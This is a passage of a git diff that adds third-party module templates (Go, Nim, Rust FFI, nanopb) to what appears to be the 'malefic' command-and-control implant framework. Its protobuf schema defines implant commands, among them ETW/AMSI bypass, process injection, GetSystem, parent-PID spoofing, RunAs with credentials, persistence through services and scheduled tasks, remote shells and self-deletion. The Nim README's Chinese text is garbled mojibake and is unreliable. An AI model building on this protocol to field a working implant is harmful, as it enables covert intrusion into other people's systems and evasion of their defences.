int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.StringArray = append(m.StringArray, stringValue) + iNdEx = postIndex + case 10: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field BytesArray", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.BytesArray = append(m.BytesArray, dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.proto b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.proto new file mode 100644 index 0000000..6e73d4f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.proto @@ -0,0 +1,483 @@ +syntax = "proto3"; +package malefic; + +option go_package = "./malefic"; + + +message Ping{ + int32 nonce = 1; +} + +message Register { + string name = 1; + string proxy = 2; + repeated string module = 3; + repeated Addon addons = 4; + Timer timer = 5; + SysInfo sysinfo = 11; + Secure secure = 12; // Implant's public key, used by server to encrypt data +} + +message Secure{ + bool enable = 1; + string key = 2; // encryption key + string type = 3; // encryption type + string public_key = 4; // Implant's public key, used by server to encrypt data +} + + +// Age key exchange related messages +message KeyExchangeRequest { + string public_key = 1; // Temporary public key (Age X25519) + bytes signature = 2; // Signature of temporary public key + uint64 timestamp = 3; // Timestamp + string nonce = 4; // Nonce +} + +message KeyExchangeResponse { + string public_key = 1; // Server temporary public key +} + +message Init{ + bytes data = 1; +} + +message SysInfo { + string filepath = 1; + string workdir = 2; + bool is_privilege = 3; + Os os = 11; + Process process = 12; +} + +message Suicide { + int32 type = 1; + int64 timestamp = 2; +} + + +// common empty request +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array =4; +} + + +message BypassRequest{ + bool ETW = 1; + bool AMSI = 2; + bool block_dll = 3; +} + +message NetInterface { + int32 index = 1; + string name = 2; + string mac = 3; + repeated string ip_addresses = 4; +} + +message SockTabEntry { + string local_addr = 1; + string remote_addr = 2; + string skState = 3; + // uint32 uid = 4; + string pid = 5; + string protocol = 6; +} + +message NetstatResponse { + repeated SockTabEntry socks = 1; +} + + +message Block{ + uint32 block_id = 1; + bytes content = 2; + bool end = 3; +} + +message ACK { + uint32 id = 1; + bool success = 2; + bool end = 3; +} + +message Os { + string name = 1; + string version = 2; // kernel version + string release = 3; // release version + string arch = 4; + string username = 5; + string hostname = 6; + string locale = 7; // timezone + repeated string clr_version = 8; +} + +message Process { + string name = 1; + uint32 pid = 2; + uint32 ppid = 3; + string owner = 4; + string arch = 5; + string path = 6; + string args = 7; + string uid = 8; +} + +message Timer { + string expression = 1; + double jitter = 2; +} + +message FileInfo { + string Name = 1; + bool IsDir = 2; + uint64 Size = 3; + int64 ModTime = 4; + uint32 Mode = 5; + string Link = 6; +} + +message SacrificeProcess { + bool hidden = 1; + bool block_dll = 2; + bool etw = 3; + uint32 ppid = 4; + string argue = 5; +} + +message LsResponse { + string Path = 1; + bool Exists = 2; + repeated FileInfo Files = 3; +} + +message DriveInfo { + string path = 1; // "C:\\" + string drive_type = 2; // "Fixed drive" + uint64 total_size = 3; // + uint64 free_size = 4; // + string file_system = 5; // "NTFS" +} + +message EnumDriversResponse { + repeated DriveInfo drives = 1; +} + +message PsResponse{ + repeated Process processes = 1; +} + +message ExecRequest { + string path = 1; + repeated string args = 2; + bool output = 3; + bool singleton = 4; + bool realtime = 5; + uint32 ppid = 10; +} + +message ExecResponse { + int32 status_code = 1; + bytes stdout = 2; + bytes stderr = 3; + uint32 pid = 4; + bool end = 5; +} + +message BinaryResponse { + bytes data = 1; // common return, bof BeaconOutput + bytes message = 2; // bof BeaconPrintf + string err = 4; + int32 status = 3; +} + +message Modules { + repeated string modules = 1; + map bundle_map = 2; +} + + +message Addons { + repeated Addon addons = 1; +} + +message Addon { + string name = 1; + string type = 2; + string depend = 3; +} + +message LoadModule{ + string bundle = 1; + bytes bin = 2; +} + +message LoadAddon{ + string name = 1; + string type = 2; + string depend = 3; + bytes bin = 4; +} + +message ExecuteAddon { + string addon = 1; + ExecuteBinary execute_binary = 2; +} + +message ExecuteBinary { + string name = 1; + bytes bin = 2; + map param = 3; + string type = 4; + string process_name = 5; + repeated string args = 6; + string entry_point = 7; + bytes data = 8; + bool output = 9; + uint32 arch = 10; + uint32 timeout = 11; + SacrificeProcess sacrifice = 12; + string path = 13; + string context = 14; + uint32 delay = 15; //millisecond +} + +message ExecuteCommand { + string command = 1; + SacrificeProcess sacrifice = 2; +} + +message UploadRequest { + string name = 1; + string target = 2; + uint32 priv = 3; + bytes data = 4; + bool hidden = 5; + bool override = 6; +} + +message DownloadRequest { + string path = 1; + string name = 2; + uint32 buffer_size = 3; + bool dir = 4; + int32 cur = 5; +} + +message DownloadResponse{ + string checksum = 1; + uint64 size = 2; + int32 cur = 3; + bytes content = 4; +} + +message CurlRequest{ + string url = 1; + int32 timeout = 2; + string method = 3; + bytes body = 4; + map header =5; + string hostname = 6; +} + +message ChownRequest{ + string path = 1; + string uid = 2; + string gid = 3; + bool recursive = 4; +} + +message IfconfigResponse { + repeated NetInterface net_interfaces = 1; +} + +// wrap for client +message RegistryRequest { + string type = 1; + Registry registry = 2; +} + +message Registry { + string hive = 1; + string path = 2; + string key = 3; +} + +message RegistryWriteRequest { + string hive = 1; + string path = 2; + string key = 3; + string string_value = 5; + bytes byte_value = 6; + uint32 dword_value = 7; + uint64 qword_value = 8; + uint32 regtype = 10; +} + +message TaskScheduleRequest { + string type = 1; + TaskSchedule taskschd = 2; +} + +message TaskSchedule { + string name = 1; + string path = 2; + string executable_path = 3; + uint32 trigger_type = 4; + string start_boundary = 5; + string description = 6; + bool enabled = 7; + string last_run_time = 8; + string next_run_time = 9; +} + + +message TaskSchedulesResponse { + repeated TaskSchedule schedules = 1; +} + +// wrap for client +message ServiceRequest { + string type = 1; + ServiceConfig service = 2; +} + +message ServiceConfig { + string name = 1; + string display_name = 2; + string executable_path = 3; + uint32 start_type = 4; + uint32 error_control = 5; + string account_name = 6; +} + +message ServiceStatus { + uint32 current_state = 1; + uint32 process_id = 2; + uint32 exit_code = 3; + uint32 checkpoint = 4; + uint32 wait_hint = 5; +} + +message Service { + ServiceConfig config = 1; + ServiceStatus status = 2; +} + +message ServicesResponse { + repeated Service services = 1; +} + +message WmiQueryRequest { + string namespace = 1; + repeated string args = 2; +} + +message WmiMethodRequest { + string namespace = 1; + string class_name = 2; + string method_name = 3; + map params = 4; +} + +message RunAsRequest { + string username = 1; // Username to execute as + string domain = 2; // User domain + string password = 3; // User password + string program = 4; // Program path + string args = 5; // Program arguments (optional) + bool use_profile = 6; + bool netonly = 7; // Use network credentials only (optional, default false) + bool use_env = 8; +} + +message GetSystem{ + bytes bin = 1; + uint32 pid = 2; +} + +message Inject{ + bytes bin = 1; + uint32 pid = 2; +} + +message Pipe { + string name = 1; + string target = 2; + bytes data = 4; +} + +message PipeRequest { + string type = 1; + Pipe pipe = 2; +} + +message Switch { + repeated string urls = 1; +} + +message TaskCtrl{ + uint32 task_id = 1; + string op = 2; +} + +message TaskInfo { + uint32 task_id = 1; + uint64 last = 2; + uint32 recv_count = 3; + uint32 send_count = 4; +} + +message TaskListResponse { + repeated TaskInfo tasks = 1; +} + +message FFmpegRequest { + string action = 1; + string device_name = 2; + string output_format = 3; + string output_path = 4; + string time = 5; +} + +// PTY +message PtyRequest { + string type = 1; // type: "start", "input", "stop" + string session_id = 2; // + string shell = 3; // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + uint32 cols = 4; // + uint32 rows = 5; // + bytes input_data = 6; // + string input_text = 7; // + map params = 8; // +} + +message PtyResponse { + string session_id = 1; // Session ID + bytes output_data = 2; // Output data (binary) + string output_text = 3; // Output data (text) + string error = 4; // Error message + bool session_active = 5; // Whether session is still active + repeated string active_sessions = 6; + map metadata = 7; +} + +message CommonBody { + string name = 1; + repeated uint32 u32_array = 2; + repeated uint64 u64_array = 4; + repeated bool bool_array = 6; + repeated string string_array = 8; + repeated bytes bytes_array = 10; +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/lib.rs b/malefic-3rd-template/malefic-3rd-go/src/lib.rs new file mode 100644 index 0000000..78ec616 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/lib.rs @@ -0,0 +1,122 @@ +use malefic_3rd_ffi::*; +use std::ffi::{c_char, c_int, c_uint}; + +extern "C" { + fn GoModuleName() -> *const c_char; + fn GoModuleSend(task_id: c_uint, data: *const c_char, data_len: c_int) -> c_int; + fn GoModuleRecv(task_id: c_uint, out_len: *mut c_int, status: *mut c_int) -> *mut c_char; + fn GoModuleCloseInput(task_id: c_uint); +} + +fn go_send(id: u32, data: &[u8]) -> Result<(), String> { + let rc = unsafe { + GoModuleSend(id as c_uint, data.as_ptr() as *const c_char, data.len() as c_int) + }; + if rc != 0 { + Err(format!("GoModuleSend failed (task {})", id)) + } else { + Ok(()) + } +} + +fn go_recv_blocking(id: u32) -> Result>, String> { + let mut out_len: c_int = 0; + let mut status: c_int = 0; + let ptr = unsafe { GoModuleRecv(id as c_uint, &mut out_len, &mut status) }; + match status { + 0 => { + if ptr.is_null() { + return Err("GoModuleRecv returned null with status 0".into()); + } + let buf = unsafe { FfiBuffer::new(ptr, out_len as usize) }; + Ok(Some(buf.as_bytes().to_vec())) + } + 1 => Ok(None), // done + _ => Err(format!("GoModuleRecv error (status={})", status)), + } +} + +pub struct GolangModule { + name: String, +} + +impl RtModule for GolangModule { + fn name() -> &'static str { "example_go" } + + fn new() -> Self { + let name = unsafe { ffi_module_name(GoModuleName, true) }; + Self { name } + } + + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + let mut last_response: Option = None; + + // Process incoming requests synchronously. + // Since run() is already blocking, no need for threads or async. + loop { + let body = match ch.recv() { + Ok(b) => b, + Err(RtChannelError::Eof) => { + // Input closed — close Go input and drain remaining responses. + unsafe { GoModuleCloseInput(id as c_uint) }; + // Drain any remaining Go responses. + loop { + match go_recv_blocking(id) { + Ok(Some(resp_bytes)) => { + if let Ok(response) = decode_response(&resp_bytes) { + if let Some(prev) = last_response.take() { + if ch.send(prev).is_err() { break; } + } + last_response = Some(Body::Response(response)); + } + } + _ => break, + } + } + break; + } + Err(e) => return RtResult::Error(e.to_string()), + }; + + match body { + Body::Request(request) => { + // Encode and send to Go. + let buf = match encode_request(&request) { + Ok(b) => b, + Err(e) => return RtResult::Error(format!("encode: {}", e)), + }; + if let Err(e) = go_send(id, &buf) { + return RtResult::Error(e); + } + + // Receive response from Go (blocking). + match go_recv_blocking(id) { + Ok(Some(resp_bytes)) => { + let response = match decode_response(&resp_bytes) { + Ok(r) => r, + Err(e) => return RtResult::Error(format!("decode: {}", e)), + }; + // Buffer: send previous result, store current. + if let Some(prev) = last_response.take() { + if ch.send(prev).is_err() { break; } + } + last_response = Some(Body::Response(response)); + } + Ok(None) => break, // Go module done + Err(e) => return RtResult::Error(e), + } + } + _ => { + // Non-request body — close Go input. + unsafe { GoModuleCloseInput(id as c_uint) }; + break; + } + } + } + + match last_response { + Some(body) => RtResult::Done(body), + None => RtResult::Error("Go module produced no output".into()), + } + } +} diff --git a/malefic-3rd-template/malefic-3rd-nim/Cargo.toml b/malefic-3rd-template/malefic-3rd-nim/Cargo.toml new file mode 100644 index 0000000..bde44f1 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "malefic-3rd-nim" +version = "0.1.0" +edition = "2021" + +build = "build.rs" + +[lib] +name = "malefic_3rd_nim" +path = "src/lib.rs" + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } + +[build-dependencies] +cc = "1" diff --git a/malefic-3rd-template/malefic-3rd-nim/README.md b/malefic-3rd-template/malefic-3rd-nim/README.md new file mode 100644 index 0000000..8c3767f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/README.md @@ -0,0 +1,90 @@ +# malefic-3rd-nim + +Nim 语言模å—,通过 `{.importc.}` pragma 导入 nanopb C å‡½æ•°ï¼Œç¼–è¯‘ä¸ºé™æ€åº“åŽé“¾æŽ¥ã€‚ + +## å‰ç½®è¦æ±‚ + +- [Nim](https://nim-lang.org/install.html) 2.0+(需在 PATH 中) +- MinGW-w64 GCC(Nim çš„ `--cc:gcc` åŽç«¯ï¼‰ + +## 目录结构 + +``` +malefic-3rd-nim/ +├── Cargo.toml +├── build.rs # cc 编译 nanopb + nim c --app:staticlib +└── src/ + ├── lib.rs # Rust ä¾§ FFI 桥接 (å« NimMain åˆå§‹åŒ–) + └── nim/ + ├── nanopb/ # nanopb æºç  + ├── malefic/ # protobuf ç”Ÿæˆæ–‡ä»¶ (module.pb.c/h) + └── example/ + └── example.nim # ç¤ºä¾‹æ¨¡å— +``` + +## 构建æµç¨‹ + +`build.rs` 自动完æˆä»¥ä¸‹æ­¥éª¤ï¼š + +1. `cc` crate 编译 nanopb core + `module.pb.c` → 陿€åº“ +2. `nim c --app:staticlib --mm:arc --noMain:on` 编译 `.nim` → `.a` +3. é“¾æŽ¥ä¸¤ä¸ªé™æ€åº“ + +## ç¼–å†™æ¨¡å— + +```nim +{.passC: "-DPB_FIELD_32BIT".} + +# 导入 nanopb 类型 +type + malefic_Request {.importc, header: "module.pb.h".} = object + name: array[256, char] + input: array[256, char] + malefic_Response {.importc, header: "module.pb.h".} = object + output: array[4096, char] + error: array[256, char] + +# nanopb field descriptors(C 数组衰å‡ä¸ºæŒ‡é’ˆï¼‰ +var malefic_Request_fields_ptr {.importc: "malefic_Request_fields", + header: "module.pb.h".}: ptr byte +var malefic_Response_fields_ptr {.importc: "malefic_Response_fields", + header: "module.pb.h".}: ptr byte + +# nanopb 函数 +proc pb_istream_from_buffer(buf: ptr uint8, bufsize: csize_t): + pb_istream_t {.importc, header: "pb_decode.h".} +proc pb_decode(stream: ptr pb_istream_t, fields: ptr byte, + dest: pointer): bool {.importc, header: "pb_decode.h".} +# ... pb_encode 类似 + +const MODULE_NAME: cstring = "your_module" + +proc NimModuleName(): cstring {.exportc, cdecl.} = + return MODULE_NAME + +proc NimModuleHandle(task_id: uint32, req_data: cstring, req_len: cint, + resp_data: ptr cstring, resp_len: ptr cint): + cint {.exportc, cdecl.} = + # 1. memset é›¶åˆå§‹åŒ–(ä¸èƒ½ç”¨ _init_zero å®ï¼‰ + # 2. pb_decode è§£ç  Request + # 3. 构造 Response + # 4. pb_encode ç¼–ç  + # 5. malloc 输出 buffer(Rust ä¾§ free) + return 0 +``` + +### è¦ç‚¹ + +- 使用 `c_memset` é›¶åˆå§‹åŒ–结构体,ä¸èƒ½ä½¿ç”¨ nanopb çš„ `_init_zero` å®ï¼ˆC compound literal 在 Nim 生æˆçš„ C 代ç ä¸­ä¸å…¼å®¹ï¼‰ +- `malefic_Request_fields` 声明为 `ptr byte` 直接使用,ä¸éœ€è¦å–åœ°å€ +- 使用 `{.exportc, cdecl.}` 导出 C ABI ç¬¦å· +- 使用 `c_malloc` / `c_free`(映射到 C stdlib)分é…内存 +- Nim è¿è¡Œæ—¶éœ€è¦åˆå§‹åŒ–:Rust 侧通过 `std::sync::Once` 调用 `NimMain()` 一次 +- 编译使用 `--mm:arc`(ä¸è¦ç”¨å·²åºŸå¼ƒçš„ `--gc:arc`) + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,nim_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-nim/build.rs b/malefic-3rd-template/malefic-3rd-nim/build.rs new file mode 100644 index 0000000..9e46a57 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/build.rs @@ -0,0 +1,58 @@ +use std::env; +use std::path::PathBuf; +use std::process::Command; + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let nim_src_dir = manifest_dir.join("src").join("nim"); + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + + let nanopb_dir = nim_src_dir.join("nanopb"); + let malefic_dir = nim_src_dir.join("malefic"); + + // 1. Compile nanopb core + module.pb.c via cc crate + cc::Build::new() + .file(nanopb_dir.join("pb_encode.c")) + .file(nanopb_dir.join("pb_decode.c")) + .file(nanopb_dir.join("pb_common.c")) + .file(malefic_dir.join("module.pb.c")) + .include(&nanopb_dir) + .include(&malefic_dir) + .define("PB_FIELD_32BIT", None) + .warnings(false) + .compile("malefic_nim_nanopb"); + + // 2. Compile Nim example module → static library + let nim_source = nim_src_dir.join("example").join("example.nim"); + let nim_out = out_dir.join("libmalefic_nim.a"); + + let nim_cache = out_dir.join("nimcache"); + std::fs::create_dir_all(&nim_cache).ok(); + + let status = Command::new("nim") + .args([ + "c", + "--app:staticlib", + "--mm:arc", + "--noMain:on", + ]) + .arg(format!("--nimcache:{}", nim_cache.display())) + .arg(format!("--passC:-I{}", nanopb_dir.display())) + .arg(format!("--passC:-I{}", malefic_dir.display())) + .arg("--passC:-DPB_FIELD_32BIT") + .arg(format!("--out:{}", nim_out.display())) + .arg(nim_source.to_str().unwrap()) + .status() + .expect("Failed to run nim compiler. Is nim installed?"); + + if !status.success() { + panic!("Nim compilation failed"); + } + + // 3. Link both libraries + println!("cargo:rustc-link-search=native={}", out_dir.display()); + println!("cargo:rustc-link-lib=static=malefic_nim_nanopb"); + println!("cargo:rustc-link-lib=static=malefic_nim"); + + println!("cargo:rerun-if-changed={}", nim_src_dir.display()); +} diff --git a/malefic-3rd-template/malefic-3rd-nim/src/lib.rs b/malefic-3rd-template/malefic-3rd-nim/src/lib.rs new file mode 100644 index 0000000..0c15feb --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/lib.rs @@ -0,0 +1,34 @@ +use malefic_3rd_ffi::*; +use std::ffi::{c_char, c_int, c_uint}; + +extern "C" { + fn NimMain(); + fn NimModuleName() -> *const c_char; + fn NimModuleHandle( + task_id: c_uint, + req_data: *const c_char, + req_len: c_int, + resp_data: *mut *mut c_char, + resp_len: *mut c_int, + ) -> c_int; +} + +static NIM_INIT: std::sync::Once = std::sync::Once::new(); + +pub struct NimModule { + name: String, +} + +impl RtModule for NimModule { + fn name() -> &'static str { "example_nim" } + + fn new() -> Self { + NIM_INIT.call_once(|| unsafe { NimMain() }); + let name = unsafe { ffi_module_name(NimModuleName, false) }; + Self { name } + } + + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + ffi_handler_loop(id, ch, NimModuleHandle, "NimModuleHandle") + } +} diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/example/example.nim b/malefic-3rd-template/malefic-3rd-nim/src/nim/example/example.nim new file mode 100644 index 0000000..2a3d742 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/example/example.nim @@ -0,0 +1,75 @@ +# Example Nim module: echoes the request input back with a prefix. +# Demonstrates nanopb decode/encode round-trip via C interop. + +{.passC: "-DPB_FIELD_32BIT".} + +# --- nanopb types and functions --- + +type + pb_byte_t = uint8 + pb_istream_t {.importc, header: "pb_decode.h".} = object + pb_ostream_t {.importc, header: "pb_encode.h".} = object + bytes_written: csize_t + +# nanopb generated types (opaque — actual layout handled by C) +type + malefic_Request {.importc, header: "module.pb.h".} = object + name: array[256, char] + input: array[256, char] + malefic_Response {.importc, header: "module.pb.h".} = object + output: array[4096, char] + error: array[256, char] + +# nanopb field descriptors — declared as ptr to first element (C arrays decay to pointers) +var malefic_Request_fields_ptr {.importc: "malefic_Request_fields", header: "module.pb.h".}: ptr byte +var malefic_Response_fields_ptr {.importc: "malefic_Response_fields", header: "module.pb.h".}: ptr byte + +# nanopb functions +proc pb_istream_from_buffer(buf: ptr pb_byte_t, bufsize: csize_t): pb_istream_t {.importc, header: "pb_decode.h".} +proc pb_decode(stream: ptr pb_istream_t, fields: ptr byte, dest_struct: pointer): bool {.importc, header: "pb_decode.h".} +proc pb_ostream_from_buffer(buf: ptr pb_byte_t, bufsize: csize_t): pb_ostream_t {.importc, header: "pb_encode.h".} +proc pb_encode(stream: ptr pb_ostream_t, fields: ptr byte, src_struct: pointer): bool {.importc, header: "pb_encode.h".} + +# C stdlib +proc c_malloc(size: csize_t): pointer {.importc: "malloc", header: "".} +proc c_free(p: pointer) {.importc: "free", header: "".} +proc c_memcpy(dest, src: pointer, n: csize_t): pointer {.importc: "memcpy", header: "".} +proc c_memset(s: pointer, c: cint, n: csize_t): pointer {.importc: "memset", header: "".} +proc c_snprintf(buf: cstring, size: csize_t, fmt: cstring): cint {.importc: "snprintf", header: "", varargs.} + +const MODULE_NAME: cstring = "example_nim" + +proc NimModuleName(): cstring {.exportc, cdecl.} = + return MODULE_NAME + +proc NimModuleHandle(task_id: uint32, req_data: cstring, req_len: cint, + resp_data: ptr cstring, resp_len: ptr cint): cint {.exportc, cdecl.} = + # Decode Request (zero-init via memset instead of _init_zero macro) + var request: malefic_Request + discard c_memset(addr request, 0, csize_t(sizeof(request))) + var istream = pb_istream_from_buffer(cast[ptr pb_byte_t](req_data), csize_t(req_len)) + if not pb_decode(addr istream, malefic_Request_fields_ptr, addr request): + return -1 + + # Build Response + var response: malefic_Response + discard c_memset(addr response, 0, csize_t(sizeof(response))) + let inputStr = cast[cstring](addr request.input[0]) + discard c_snprintf(cast[cstring](addr response.output[0]), csize_t(sizeof(response.output)), + "hello from nim module, input: %s", inputStr) + + # Encode Response + var tmp_buf: array[4096, uint8] + var ostream = pb_ostream_from_buffer(cast[ptr pb_byte_t](addr tmp_buf[0]), csize_t(sizeof(tmp_buf))) + if not pb_encode(addr ostream, malefic_Response_fields_ptr, addr response): + return -1 + + let encoded_len = ostream.bytes_written + let out_ptr = c_malloc(encoded_len) + if out_ptr == nil: + return -1 + discard c_memcpy(out_ptr, addr tmp_buf[0], encoded_len) + resp_data[] = cast[cstring](out_ptr) + resp_len[] = cint(encoded_len) + + return 0 diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.options b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.options new file mode 100644 index 0000000..5334a93 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.options @@ -0,0 +1,229 @@ +# nanopb options for module.proto (full) +# Controls max sizes for static allocation (no malloc needed) +# map<> fields use callbacks by default in nanopb — no options needed for them. + +# --- Core messages used by C module handler --- +malefic.Request.name max_size:256 +malefic.Request.input max_size:256 +malefic.Request.args max_size:256, max_count:32 +malefic.Request.bin max_size:4096 + +malefic.Response.output max_size:4096 +malefic.Response.error max_size:256 +malefic.Response.array max_size:256, max_count:32 + +# --- Registration / System --- +malefic.Register.name max_size:256 +malefic.Register.proxy max_size:256 +malefic.Register.module max_size:256, max_count:64 +malefic.Register.addons max_count:32 + +malefic.Secure.key max_size:256 +malefic.Secure.type max_size:64 +malefic.Secure.public_key max_size:256 + +malefic.KeyExchangeRequest.public_key max_size:256 +malefic.KeyExchangeRequest.signature max_size:256 +malefic.KeyExchangeRequest.nonce max_size:64 +malefic.KeyExchangeResponse.public_key max_size:256 + +malefic.Init.data max_size:4096 + +malefic.SysInfo.filepath max_size:256 +malefic.SysInfo.workdir max_size:256 + +malefic.Os.name max_size:128 +malefic.Os.version max_size:128 +malefic.Os.release max_size:128 +malefic.Os.arch max_size:32 +malefic.Os.username max_size:128 +malefic.Os.hostname max_size:128 +malefic.Os.locale max_size:64 +malefic.Os.clr_version max_size:64, max_count:8 + +malefic.Process.name max_size:128 +malefic.Process.owner max_size:128 +malefic.Process.arch max_size:32 +malefic.Process.path max_size:256 +malefic.Process.args max_size:256 +malefic.Process.uid max_size:64 + +malefic.Timer.expression max_size:128 + +# --- File --- +malefic.FileInfo.Name max_size:256 +malefic.FileInfo.Link max_size:256 + +malefic.LsResponse.Path max_size:256 +malefic.LsResponse.Files max_count:128 + +malefic.DriveInfo.path max_size:64 +malefic.DriveInfo.drive_type max_size:64 +malefic.DriveInfo.file_system max_size:32 +malefic.EnumDriversResponse.drives max_count:16 + +# --- Process --- +malefic.SacrificeProcess.argue max_size:256 +malefic.PsResponse.processes max_count:512 + +# --- Exec --- +malefic.ExecRequest.path max_size:256 +malefic.ExecRequest.args max_size:256, max_count:32 +malefic.ExecResponse.stdout max_size:4096 +malefic.ExecResponse.stderr max_size:4096 + +malefic.BinaryResponse.data max_size:4096 +malefic.BinaryResponse.message max_size:4096 +malefic.BinaryResponse.err max_size:256 + +# --- Modules / Addons --- +malefic.Modules.modules max_size:256, max_count:64 +malefic.Addons.addons max_count:32 +malefic.Addon.name max_size:128 +malefic.Addon.type max_size:64 +malefic.Addon.depend max_size:128 + +malefic.LoadModule.bundle max_size:256 +malefic.LoadModule.bin max_size:4096 +malefic.LoadAddon.name max_size:128 +malefic.LoadAddon.type max_size:64 +malefic.LoadAddon.depend max_size:128 +malefic.LoadAddon.bin max_size:4096 + +malefic.ExecuteAddon.addon max_size:128 + +malefic.ExecuteBinary.name max_size:128 +malefic.ExecuteBinary.bin max_size:4096 +malefic.ExecuteBinary.type max_size:64 +malefic.ExecuteBinary.process_name max_size:128 +malefic.ExecuteBinary.args max_size:256, max_count:32 +malefic.ExecuteBinary.entry_point max_size:128 +malefic.ExecuteBinary.data max_size:4096 +malefic.ExecuteBinary.path max_size:256 +malefic.ExecuteBinary.context max_size:256 + +malefic.ExecuteCommand.command max_size:256 + +# --- Upload / Download --- +malefic.UploadRequest.name max_size:256 +malefic.UploadRequest.target max_size:256 +malefic.UploadRequest.data max_size:4096 + +malefic.DownloadRequest.path max_size:256 +malefic.DownloadRequest.name max_size:256 +malefic.DownloadResponse.checksum max_size:128 +malefic.DownloadResponse.content max_size:4096 + +# --- Network --- +malefic.NetInterface.name max_size:128 +malefic.NetInterface.mac max_size:32 +malefic.NetInterface.ip_addresses max_size:64, max_count:16 +malefic.IfconfigResponse.net_interfaces max_count:32 + +malefic.SockTabEntry.local_addr max_size:64 +malefic.SockTabEntry.remote_addr max_size:64 +malefic.SockTabEntry.skState max_size:32 +malefic.SockTabEntry.pid max_size:16 +malefic.SockTabEntry.protocol max_size:16 +malefic.NetstatResponse.socks max_count:256 + +malefic.CurlRequest.url max_size:512 +malefic.CurlRequest.method max_size:16 +malefic.CurlRequest.body max_size:4096 +malefic.CurlRequest.hostname max_size:256 + +malefic.ChownRequest.path max_size:256 +malefic.ChownRequest.uid max_size:64 +malefic.ChownRequest.gid max_size:64 + +# --- Block / ACK --- +malefic.Block.content max_size:4096 + +# --- Registry --- +malefic.RegistryRequest.type max_size:64 +malefic.Registry.hive max_size:64 +malefic.Registry.path max_size:256 +malefic.Registry.key max_size:256 +malefic.RegistryWriteRequest.hive max_size:64 +malefic.RegistryWriteRequest.path max_size:256 +malefic.RegistryWriteRequest.key max_size:256 +malefic.RegistryWriteRequest.string_value max_size:256 +malefic.RegistryWriteRequest.byte_value max_size:4096 + +# --- Task Schedule --- +malefic.TaskScheduleRequest.type max_size:64 +malefic.TaskSchedule.name max_size:256 +malefic.TaskSchedule.path max_size:256 +malefic.TaskSchedule.executable_path max_size:256 +malefic.TaskSchedule.start_boundary max_size:64 +malefic.TaskSchedule.description max_size:256 +malefic.TaskSchedule.last_run_time max_size:64 +malefic.TaskSchedule.next_run_time max_size:64 +malefic.TaskSchedulesResponse.schedules max_count:64 + +# --- Service --- +malefic.ServiceRequest.type max_size:64 +malefic.ServiceConfig.name max_size:256 +malefic.ServiceConfig.display_name max_size:256 +malefic.ServiceConfig.executable_path max_size:256 +malefic.ServiceConfig.account_name max_size:128 +malefic.ServicesResponse.services max_count:128 + +# --- WMI --- +malefic.WmiQueryRequest.namespace max_size:256 +malefic.WmiQueryRequest.args max_size:256, max_count:16 +malefic.WmiMethodRequest.namespace max_size:256 +malefic.WmiMethodRequest.class_name max_size:128 +malefic.WmiMethodRequest.method_name max_size:128 + +# --- RunAs --- +malefic.RunAsRequest.username max_size:128 +malefic.RunAsRequest.domain max_size:128 +malefic.RunAsRequest.password max_size:256 +malefic.RunAsRequest.program max_size:256 +malefic.RunAsRequest.args max_size:256 + +# --- Inject / GetSystem --- +malefic.GetSystem.bin max_size:4096 +malefic.Inject.bin max_size:4096 + +# --- Pipe --- +malefic.Pipe.name max_size:128 +malefic.Pipe.target max_size:128 +malefic.Pipe.data max_size:4096 +malefic.PipeRequest.type max_size:64 + +# --- Switch --- +malefic.Switch.urls max_size:256, max_count:16 + +# --- Task --- +malefic.TaskCtrl.op max_size:64 +malefic.TaskListResponse.tasks max_count:128 + +# --- FFmpeg --- +malefic.FFmpegRequest.action max_size:64 +malefic.FFmpegRequest.device_name max_size:128 +malefic.FFmpegRequest.output_format max_size:32 +malefic.FFmpegRequest.output_path 